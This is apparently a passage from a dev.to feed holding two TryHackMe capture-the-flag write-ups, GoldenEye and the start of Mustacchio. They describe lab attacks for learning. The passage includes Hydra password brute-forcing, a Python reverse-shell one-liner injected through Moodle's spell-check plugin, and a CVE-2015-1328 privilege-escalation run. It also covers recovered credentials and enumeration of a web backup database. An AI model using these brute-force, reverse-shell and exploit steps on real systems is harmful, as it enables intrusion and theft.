hydra &lt;span class="nt"&gt;-l&lt;/span&gt; Natalya &lt;span class="nt"&gt;-P&lt;/span&gt; /usr/share/wordlists/fasttrack.txt  &amp;lt;IP&amp;gt; &lt;span class="nt"&gt;-s&lt;/span&gt; 55007 pop3

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This returns:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Natalya password: bird
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;┌──(kali㉿kali)-[~/TryHackme/goldeney]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;telnet &amp;lt;IP&amp;gt; 55007                                                           
&lt;span class="go"&gt;Escape character is '^]'.
+OK GoldenEye POP3 Electronic-Mail System
USER natalya
+OK
PASS bird
+OK Logged in.
list
+OK 2 messages:
1 631
2 1048
&lt;/span&gt;&lt;span class="c"&gt;.
&lt;/span&gt;&lt;span class="go"&gt;rtrv 1
-ERR Unknown command: RTRV
retr 1
+OK 631 octets
&lt;/span&gt;&lt;span class="gp"&gt;Return-Path: &amp;lt;root@ubuntu&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="go"&gt;X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id D5EDA454B1
&lt;/span&gt;&lt;span class="gp"&gt;        for &amp;lt;natalya&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; Tue, 10 Apr 1995 19:45:33 &lt;span class="nt"&gt;-0700&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;PDT&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;Message-Id: &amp;lt;20180425024542.D5EDA454B1@ubuntu&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="go"&gt;Date: Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
From: root@ubuntu

Natalya, please you need to stop breaking boris' codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.

Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.
&lt;/span&gt;&lt;span class="c"&gt;.
&lt;/span&gt;&lt;span class="go"&gt;retr 2
+OK 1048 octets
&lt;/span&gt;&lt;span class="gp"&gt;Return-Path: &amp;lt;root@ubuntu&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="go"&gt;X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from root (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id 17C96454B1
&lt;/span&gt;&lt;span class="gp"&gt;        for &amp;lt;natalya&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; Tue, 29 Apr 1995 20:19:42 &lt;span class="nt"&gt;-0700&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;PDT&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;Message-Id: &amp;lt;20180425031956.17C96454B1@ubuntu&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="go"&gt;Date: Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
From: root@ubuntu

Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle :)

Ok, user creds are:

username: xenia
password: RCP90rulez!

Boris verified her as a valid contractor so just create the account ok?

And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir
**Make sure to edit your host file since you usually work remote off-network....

Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Natalya's emails reveal two important pieces of data:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Xenia's credentials: xenia / RCP90rulez!&lt;/li&gt;
&lt;li&gt;The internal training site: severnaya-station.com/gnocertdir &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fc9o1x1qdw19znqrhvmxt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fc9o1x1qdw19znqrhvmxt.png" alt="treasure" width="480" height="476"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Training Site Access
&lt;/h2&gt;

&lt;p&gt;The internal site only resolves after adding the target host to &lt;code&gt;/etc/hosts&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;
&amp;lt;machine_ip&amp;gt; severnaya-station.com

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then browse to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
http://severnaya-station.com/gnocertdir

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;we get greeted with a moodle web page &lt;/p&gt;

&lt;p&gt;Xenia's credentials work here:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Username: xenia&lt;/li&gt;
&lt;li&gt;Password: RCP90rulez! &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgyrkwbcxshq9ang184pv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgyrkwbcxshq9ang184pv.png" alt="capture" width="800" height="574"&gt;&lt;/a&gt;&lt;br&gt;
That answers the room question about which user you can log in as. Once inside, Xenia's profile contains a message from Dr. Doak, which gives the next username to investigate.&lt;br&gt;
Doak's mail password is also recoverable with Hydra:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;
hydra &lt;span class="nt"&gt;-l&lt;/span&gt; Doak &lt;span class="nt"&gt;-P&lt;/span&gt; /usr/share/wordlists/fasttrack.txt &amp;lt;IP&amp;gt; &lt;span class="nt"&gt;-s&lt;/span&gt; 55007 pop3

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This returns:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Doak password: goat
Doak's mailbox contains credentials for the training site:&lt;/li&gt;
&lt;li&gt;Username: dr_doak&lt;/li&gt;
&lt;li&gt;Password: 4England!&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Admin Discovery
&lt;/h2&gt;

&lt;p&gt;Logging in as dr_doak exposes a hidden text file and an image file in the Moodle content. The text file points toward James's admin password, and the image contains the final secret in its metadata.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;007,

I was able to capture this apps adm1n cr3ds through clear txt. 

Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here. 

Something juicy is located here: /dir007key/for-007.jpg

Also as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo3eo376xfyhgh23xxnbf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo3eo376xfyhgh23xxnbf.png" alt=" " width="500" height="255"&gt;&lt;/a&gt;&lt;br&gt;
Pull the image and inspect it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;
exiftool &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="nt"&gt;-007&lt;/span&gt;.jpg

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The image description contains a base64 string. Decoding it reveals the admin password:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo &lt;/span&gt;&lt;span class="nv"&gt;eFdpbnRlckE50TV4IQ&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Username: admin&lt;/li&gt;
&lt;li&gt;Password: xWinter1995x!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7uunhl0sko85urhzfreb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7uunhl0sko85urhzfreb.png" alt="Imag" width="356" height="200"&gt;&lt;/a&gt;&lt;br&gt;
At this point you can log in as admin on the training portal.&lt;/p&gt;
&lt;h2&gt;
  
  
  Reverse Shell
&lt;/h2&gt;

&lt;p&gt;The admin account can edit Moodle settings, and the intended route is to abuse the Aspell spell-check plugin to inject a reverse shell.&lt;br&gt;
The shell payload can be based on a standard Python one-liner, adjusted to your listener IP and port:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgl4ohgtymur3cl5j3j55.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgl4ohgtymur3cl5j3j55.png" alt="rev" width="696" height="481"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("&amp;lt;IP&amp;gt;",&amp;lt;PORT&amp;gt;));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After inserting the payload into the plugin and triggering it from the site with the spellchecker , i got the shell as the low-privilege web user.&lt;/p&gt;

&lt;h2&gt;
  
  
  Privilege Escalation
&lt;/h2&gt;

&lt;p&gt;Check the kernel version from the shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The kernel is:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;3.13.0-32-generic
This kernel is vulnerable to the overlayfs local privilege escalation 
CVE-2015-1328
The exploit strategy is to create user and mount namespaces, mount a filesystem overlay over /bin, make a setuid binary writable in the overlay, and then patch it from outside the namespace.
the exploit Poc is available in exploit-db, the target machine does not have a gcc compiler you ll have to edit the exploit to use the cc compiler
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /tmp
cc exploit.c &lt;span class="nt"&gt;-o&lt;/span&gt; exploit
./exploit
spawning threads
mount &lt;span class="c"&gt;#1&lt;/span&gt;
mount &lt;span class="c"&gt;#2&lt;/span&gt;
child threads &lt;span class="k"&gt;done&lt;/span&gt;
/etc/ld.so.preload created
creating shared library
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Running the exploit returns a root shell.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjcha7h9zh1llfghsjkh1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjcha7h9zh1llfghsjkh1.png" alt="Im root" width="381" height="335"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From there, read the flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /root/.flag.txt
Alec told me to place the codes here:
568628e&lt;span class="k"&gt;****************&lt;/span&gt;da6e93
&lt;span class="k"&gt;if &lt;/span&gt;you captured this make sure to go here.....
/006.final/xyf7-flag/

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feij9yl6dr9ls6l9a18h0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feij9yl6dr9ls6l9a18h0.png" alt="Imag" width="715" height="565"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Review :
&lt;/h2&gt;

&lt;p&gt;GoldenEye provides a realistic, story-driven penetration testing environment inspired by classic OSINT and internal network pivoting concepts. Rather than relying on complex binary exploitation or obscure zero-days for initial foothold, the machine relies heavily on thorough information gathering, systematic credential tracking, and realistic administrative oversights.Overall i really enjoyed the storytelling side of the machine and had fun solving it &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5gju8oe0z7di60m97nsv.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5gju8oe0z7di60m97nsv.gif" alt="spidey" width="498" height="208"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>linux</category>
      <category>tryhackme</category>
      <category>ctf</category>
      <category>hacker</category>
    </item>
    <item>
      <title>Mustachhio-TryHackMe Writeup</title>
      <dc:creator>0xAp0ll0</dc:creator>
      <pubDate>Wed, 05 Aug 2026 12:46:35 +0000</pubDate>
      <link>https://dev.to/r4ybr/mustachhio-tryhackme-writeup-11k2</link>
      <guid>https://dev.to/r4ybr/mustachhio-tryhackme-writeup-11k2</guid>
      <description>&lt;p&gt;&lt;strong&gt;Target:&lt;/strong&gt; Mustacchio&lt;br&gt;
&lt;strong&gt;OS:&lt;/strong&gt; Linux&lt;br&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fl6axl2xlfoir6gnzi7qr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fl6axl2xlfoir6gnzi7qr.png" alt="mustacchio" width="470" height="181"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;Mustacchio is an easy-rated Linux machine on TryHackMe. The attack path involves:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Enumerating web services to find a exposed SQLite database backup containing an admin hash.&lt;/li&gt;
&lt;li&gt;Logging into a secondary web interface on port 8765 and exploiting an &lt;strong&gt;XML External Entity Injection (XXE)&lt;/strong&gt; vulnerability to exfiltrate an SSH private key.&lt;/li&gt;
&lt;li&gt;Formatting and cracking the passphrase for user &lt;code&gt;barry&lt;/code&gt;'s SSH private key (&lt;code&gt;urieljames&lt;/code&gt;) using &lt;code&gt;ssh2john&lt;/code&gt; and &lt;code&gt;john&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Escalating privileges to &lt;code&gt;root&lt;/code&gt; via a &lt;strong&gt;PATH Hijacking&lt;/strong&gt; attack against a SUID binary (&lt;code&gt;/home/joe/live_log&lt;/code&gt;) that invokes relative binary commands (&lt;code&gt;tail&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;
  
  
  Step 1: Reconnaissance &amp;amp; Port Scanning
&lt;/h2&gt;

&lt;p&gt;Start with a full port scan to identify all open services on the target system.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sCV&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt;  &amp;lt;IP&amp;gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap 
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.056s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Not shown: 65532 filtered tcp ports &lt;span class="o"&gt;(&lt;/span&gt;no-response&lt;span class="o"&gt;)&lt;/span&gt;
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
| ssh-hostkey: 
|   2048 58:1b:0c:0f:fa:cf:05:be:4c:c0:7a:f1:f1:88:61:1c &lt;span class="o"&gt;(&lt;/span&gt;RSA&lt;span class="o"&gt;)&lt;/span&gt;
|   256 3c:fc:e8:a3:7e:03:9a:30:2c:77:e0:0a:1c:e4:52:e6 &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
|_  256 9d:59:c6:c7:79:c5:54:c4:1d:aa:e4:d1:84:71:01:92 &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
80/tcp   open  http    Apache httpd 2.4.18 &lt;span class="o"&gt;((&lt;/span&gt;Ubuntu&lt;span class="o"&gt;))&lt;/span&gt;
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Apache/2.4.18 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
|_http-title: Mustacchio | Home
8765/tcp open  http    nginx 1.10.3 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
|_http-title: Mustacchio | Login
|_http-server-header: nginx/1.10.3 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
Service Info: OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="c"&gt;# Nmap done at Wed Aug  5 05:28:16 2026 -- 1 IP address (1 host up) scanned in 216.45 seconds&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Scan Results:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;Port&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;State&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Service&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;22/tcp&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Open&lt;/td&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;OpenSSH 7.2p2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;80/tcp&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Open&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Apache httpd 2.4.18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;8765/tcp&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Open&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Secondary Web Service&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;so we have two web pages one in port 80 and the other in 8765 &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F09othup9h470wxhe2m4c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F09othup9h470wxhe2m4c.png" alt="webpage" width="800" height="351"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcyq0fdfladvoq8u1aj8l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcyq0fdfladvoq8u1aj8l.png" alt="webpage" width="800" height="345"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2: Web Enumeration
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Navigating to port 80 web page presents a basic static site. Perform directory fuzzing using &lt;code&gt;ffuf&lt;/code&gt; :
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.112.171.183/FUZZ &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/common.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Directory brute-forcing highlights &lt;code&gt;/custom/&lt;/code&gt;. Checking subdirectories within &lt;code&gt;/custom/&lt;/code&gt; reveals a backup file located at &lt;code&gt;/custom/js/users.bak&lt;/code&gt;.
&lt;/li&gt;
&lt;li&gt;Download and inspect the database file:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget http://10.112.171.183/custom/js/users.bak
file users.bak
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;users.bak: SQLite 3.x database
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Query the SQLite database to retrieve stored user credentials:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlite3 users.bak &lt;span class="s2"&gt;".dump"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;EXISTS&lt;/span&gt; &lt;span class="nv"&gt;"users"&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nv"&gt;"id"&lt;/span&gt; &lt;span class="nb"&gt;INTEGER&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nv"&gt;"username"&lt;/span&gt; &lt;span class="nb"&gt;TEXT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nv"&gt;"password"&lt;/span&gt; &lt;span class="nb"&gt;TEXT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nv"&gt;"role"&lt;/span&gt; &lt;span class="nb"&gt;INTEGER&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;VALUES&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'admin'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'1868e36a********************d4bc5f4b'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;it appears to be a SHA-1 hash  so we crack it using hashcat
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~/TryHackme/mustacchio]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;hashid &lt;span class="s2"&gt;"1868e36a6d2b17d4c2745f1659433a54d4bc5f4b"&lt;/span&gt;
Analyzing &lt;span class="s1"&gt;'1868e36a6d2b17d4c2745f1659433a54d4bc5f4b'&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] SHA-1 

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



